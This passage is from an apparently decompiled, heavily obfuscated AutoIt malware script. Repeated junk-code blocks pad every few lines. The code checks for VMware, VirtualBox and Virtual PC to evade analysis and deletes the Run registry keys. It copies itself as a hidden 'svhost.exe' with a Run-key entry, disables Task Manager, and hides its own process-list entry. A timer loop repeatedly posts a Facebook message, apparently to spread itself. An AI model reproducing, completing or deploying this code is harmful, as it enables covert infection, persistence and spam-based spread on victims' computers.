  9968.                 Else
  9969.                 EndIf
  9970.                 $bisvm = True
  9971.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9972.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9973.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9974.                     Exit
  9975.                 Else
  9976.                 EndIf
  9977.                 $svmplatform = "VS2005R2SP1 or VPC2007"
  9978.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9979.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9980.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9981.                     Exit
  9982.                 Else
  9983.                 EndIf
  9984.             Case "A M I  - 9000520"
  9985.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9986.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9987.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9988.                     Exit
  9989.                 Else
  9990.                 EndIf
  9991.                 $bisvm = True
  9992.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9993.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9994.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9995.                     Exit
  9996.                 Else
  9997.                 EndIf
  9998.                 $svmplatform = "VS2005R2"
  9999.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10000.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10001.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10002.                     Exit
  10003.                 Else
  10004.                 EndIf
  10005.             Case "A M I  - 9000816", "A M I  - 6000901"
  10006.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10007.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10008.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10009.                     Exit
  10010.                 Else
  10011.                 EndIf
  10012.                 $bisvm = True
  10013.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10014.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10015.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10016.                     Exit
  10017.                 Else
  10018.                 EndIf
  10019.                 $svmplatform = "Windows Virtual PC"
  10020.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10021.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10022.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10023.                     Exit
  10024.                 Else
  10025.                 EndIf
  10026.             Case "A M I  - 8000314"
  10027.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10028.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10029.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10030.                     Exit
  10031.                 Else
  10032.                 EndIf
  10033.                 $bisvm = True
  10034.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10035.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10036.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10037.                     Exit
  10038.                 Else
  10039.                 EndIf
  10040.                 $svmplatform = "VS2005 or VPC2004"
  10041.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10042.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10043.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10044.                     Exit
  10045.                 Else
  10046.                 EndIf
  10047.         EndSwitch
  10048.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10049.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10050.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10051.             Exit
  10052.         Else
  10053.         EndIf
  10054.     ElseIf $smodel = "VMware Virtual Platform" Then
  10055.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10056.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10057.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10058.             Exit
  10059.         Else
  10060.         EndIf
  10061.         $svmplatform = "VMware"
  10062.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10063.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10064.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10065.             Exit
  10066.         Else
  10067.         EndIf
  10068.         $bisvm = True
  10069.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10070.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10071.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10072.             Exit
  10073.         Else
  10074.         EndIf
  10075.     ElseIf $smodel = "VirtualBox" Then
  10076.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10077.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10078.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10079.             Exit
  10080.         Else
  10081.         EndIf
  10082.         $bisvm = True
  10083.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10084.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10085.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10086.             Exit
  10087.         Else
  10088.         EndIf
  10089.         $svmplatform = "VirtualBox"
  10090.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10091.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10092.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10093.             Exit
  10094.         Else
  10095.         EndIf
  10096.     Else
  10097.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10098.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10099.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10100.             Exit
  10101.         Else
  10102.         EndIf
  10103.     EndIf
  10104.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10105.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10106.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10107.         Exit
  10108.     Else
  10109.     EndIf
  10110.     If $bisvm Then
  10111.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10112.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10113.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10114.             Exit
  10115.         Else
  10116.         EndIf
  10117.         Exit
  10118.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10119.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10120.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10121.             Exit
  10122.         Else
  10123.         EndIf
  10124.     Else
  10125.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10126.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10127.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10128.             Exit
  10129.         Else
  10130.         EndIf
  10131.     EndIf
  10132.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10133.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10134.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10135.         Exit
  10136.     Else
  10137.     EndIf
  10138.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10139.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10140.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10141.         Exit
  10142.     Else
  10143.     EndIf
  10144.     Return $bisvm
  10145.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10146.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10147.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10148.         Exit
  10149.     Else
  10150.     EndIf
  10151. EndFunc
  10152.  
  10153. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10154. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10155. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10156.     Exit
  10157. Else
  10158. EndIf
  10159. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10160. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10161. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10162.     Exit
  10163. Else
  10164. EndIf
  10165. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10166. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10167. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10168.     Exit
  10169. Else
  10170. EndIf
  10171.  
  10172. Func avdisable()
  10173.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10174.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10175.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10176.         Exit
  10177.     Else
  10178.     EndIf
  10179.     If FileExists(@UserProfileDir & "\once.txt") Then
  10180.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10181.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10182.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10183.             Exit
  10184.         Else
  10185.         EndIf
  10186.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10187.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10188.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10189.             Exit
  10190.         Else
  10191.         EndIf
  10192.     Else
  10193.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10194.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10195.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10196.             Exit
  10197.         Else
  10198.         EndIf
  10199.         Call("avdisable2")
  10200.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10201.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10202.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10203.             Exit
  10204.         Else
  10205.         EndIf
  10206.         FileWrite(@UserProfileDir & "\once.txt", "once")
  10207.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10208.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10209.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10210.             Exit
  10211.         Else
  10212.         EndIf
  10213.     EndIf
  10214.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10215.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10216.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10217.         Exit
  10218.     Else
  10219.     EndIf
  10220. EndFunc
  10221.  
  10222. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10223. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10224. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10225.     Exit
  10226. Else
  10227. EndIf
  10228. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10229. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10230. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10231.     Exit
  10232. Else
  10233. EndIf
  10234.  
  10235. Func avdisable2()
  10236.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10237.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10238.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10239.         Exit
  10240.     Else
  10241.     EndIf
  10242.     If NOT FileExists(@UserProfileDir & "\" & "disable.txt") Then
  10243.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10244.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10245.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10246.             Exit
  10247.         Else
  10248.         EndIf
  10249.         FileWrite(@UserProfileDir & "\disable.txt", "disable")
  10250.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10251.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10252.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10253.             Exit
  10254.         Else
  10255.         EndIf
  10256.         RegDelete("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  10257.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10258.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10259.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10260.             Exit
  10261.         Else
  10262.         EndIf
  10263.         RegDelete("HKLM64\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run")
  10264.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10265.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10266.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10267.             Exit
  10268.         Else
  10269.         EndIf
  10270.         RegDelete("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  10271.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10272.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10273.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10274.             Exit
  10275.         Else
  10276.         EndIf
  10277.         RegWrite("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  10278.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10279.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10280.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10281.             Exit
  10282.         Else
  10283.         EndIf
  10284.     Else
  10285.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10286.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10287.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10288.             Exit
  10289.         Else
  10290.         EndIf
  10291.     EndIf
  10292.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10293.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10294.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10295.         Exit
  10296.     Else
  10297.     EndIf
  10298. EndFunc
  10299.  
  10300. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10301. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10302. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10303.     Exit
  10304. Else
  10305. EndIf
  10306. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10307. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10308. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10309.     Exit
  10310. Else
  10311. EndIf
  10312.  
  10313. Func startup()
  10314.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10315.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10316.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10317.         Exit
  10318.     Else
  10319.     EndIf
  10320.     If NOT FileExists(@UserProfileDir & "\" & $randoms & "\") Then
  10321.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10322.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10323.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10324.             Exit
  10325.         Else
  10326.         EndIf
  10327.         dcreat(@UserProfileDir & "\" & $randoms & "\")
  10328.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10329.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10330.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10331.             Exit
  10332.         Else
  10333.         EndIf
  10334.         FileCopy(@AutoItExe, @UserProfileDir & "\" & $randoms & "\svhost.exe", 1)
  10335.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10336.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10337.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10338.             Exit
  10339.         Else
  10340.         EndIf
  10341.         FileSetAttrib(@UserProfileDir & "\" & $randoms & "\svhost.exe", "+SH")
  10342.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10343.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10344.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10345.             Exit
  10346.         Else
  10347.         EndIf
  10348.         FileSetAttrib(@UserProfileDir & "\" & $randoms & "\", "+SH")
  10349.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10350.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10351.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10352.             Exit
  10353.         Else
  10354.         EndIf
  10355.         RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", $randoms, "REG_SZ", @UserProfileDir & "\" & $randoms & "\" & "svhost.exe")
  10356.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10357.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10358.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10359.             Exit
  10360.         Else
  10361.         EndIf
  10362.     Else
  10363.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10364.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10365.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10366.             Exit
  10367.         Else
  10368.         EndIf
  10369.     EndIf
  10370.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10371.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10372.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10373.         Exit
  10374.     Else
  10375.     EndIf
  10376. EndFunc
  10377.  
  10378. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10379. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10380. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10381.     Exit
  10382. Else
  10383. EndIf
  10384.  
  10385. Func dcreat($var)
  10386.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10387.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10388.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10389.         Exit
  10390.     Else
  10391.     EndIf
  10392.     DirCreate($var)
  10393.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10394.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10395.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10396.         Exit
  10397.     Else
  10398.     EndIf
  10399. EndFunc
  10400.  
  10401. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10402. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10403. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10404.     Exit
  10405. Else
  10406. EndIf
  10407. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10408. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10409. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10410.     Exit
  10411. Else
  10412. EndIf
  10413.  
  10414. Func task()
  10415.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10416.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10417.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10418.         Exit
  10419.     Else
  10420.     EndIf
  10421.     RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
  10422.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10423.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10424.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10425.         Exit
  10426.     Else
  10427.     EndIf
  10428. EndFunc
  10429.  
  10430. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10431. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10432. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10433.     Exit
  10434. Else
  10435. EndIf
  10436. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10437. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10438. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10439.     Exit
  10440. Else
  10441. EndIf
  10442.  
  10443. Func hide()
  10444.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10445.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10446.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10447.         Exit
  10448.     Else
  10449.     EndIf
  10450.     $hwnd = ControlGetHandle("", "", "[CLASS:SysListView32]")
  10451.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10452.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10453.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10454.         Exit
  10455.     Else
  10456.     EndIf
  10457.     $line = _guictrllistview_findtext($hwnd, @ScriptName)
  10458.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10459.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10460.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10461.         Exit
  10462.     Else
  10463.     EndIf
  10464.     DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 4104, "int", $line, "int", "0")
  10465.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10466.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10467.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10468.         Exit
  10469.     Else
  10470.     EndIf
  10471. EndFunc
  10472.  
  10473. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10474. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10475. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10476.     Exit
  10477. Else
  10478. EndIf
  10479. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10480. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10481. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10482.     Exit
  10483. Else
  10484. EndIf
  10485. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10486. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10487. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10488.     Exit
  10489. Else
  10490. EndIf
  10491. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10492. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10493. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10494.     Exit
  10495. Else
  10496. EndIf
  10497. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10498. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10499. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10500.     Exit
  10501. Else
  10502. EndIf
  10503. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10504. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10505. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10506.     Exit
  10507. Else
  10508. EndIf
  10509. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10510. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10511. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10512.     Exit
  10513. Else
  10514. EndIf
  10515.  
  10516. Func facebook_timer()
  10517.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10518.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10519.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10520.         Exit
  10521.     Else
  10522.     EndIf
  10523.     $min = @MIN + 1
  10524.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10525.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10526.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10527.         Exit
  10528.     Else
  10529.     EndIf
  10530.     $msg = $fbmessage
  10531.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10532.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10533.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10534.         Exit
  10535.     Else
  10536.     EndIf
  10537.     While 1
  10538.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10539.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10540.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10541.             Exit
  10542.         Else
  10543.         EndIf
  10544.         Sleep(10)
  10545.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10546.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10547.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10548.             Exit
  10549.         Else
  10550.         EndIf
  10551.         If @MIN >= $min Then
  10552.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10553.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10554.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10555.                 Exit
  10556.             Else
  10557.             EndIf
  10558.             facebook($msg)
  10559.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10560.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10561.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10562.                 Exit
  10563.             Else
  10564.             EndIf
  10565.         EndIf
  10566.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10567.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10568.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10569.             Exit
  10570.         Else
  10571.         EndIf
  10572.         Sleep(10)
  10573.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10574.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10575.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10576.             Exit
  10577.         Else
  10578.         EndIf
  10579.     WEnd
  10580.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10581.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  10582.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  10583.         Exit
  10584.     Else
  10585.     EndIf
  10586. EndFunc
  10587.  
  10588. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  10589. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
